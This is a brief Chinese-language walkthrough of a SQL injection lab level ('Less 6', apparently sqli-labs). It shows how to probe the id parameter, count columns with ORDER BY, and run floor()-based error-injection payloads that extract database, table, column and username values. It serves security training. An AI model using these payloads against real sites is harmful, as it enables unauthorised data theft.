Less（6）

（1）首先看到要求，要求传一个ID参数，并且要求是数字型的；?id=1

（2）再输入?id=1′

（3）再输入?id=1 and 1=1

（4）再输入?id=1 and 1=2

（3）（4）界面一样，所以不是数字型

（5）再输入?id=1″

发现报错，我们加上–+，把后面注释掉

（6）输入： ?id=1″ –+

接受的参数为id=”1″

2..对列数进行判断

（1）输入?id=1″) order by 3 –+

（2）输入?id=1″) order by 4 –+

（3）为3列

3.因为页面正常的时候，均无输出部分，判断应该没有显示位，此时可尝试报错注入。

4.我们用floor进行注入

（1）注当前的数据库名：?id=-1″ union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; –+

（2）爆注册表：?id=-1″ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=”security” limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; –+

（3）注某张表的字段，这里以users为例：?id=-1″ union select 1,count(*),concat((select column_name from information_schema.columns where table_name=’users’ limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; –+

（4）注字段的值，这里以users表里的username为例：?id=-1″ union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; –+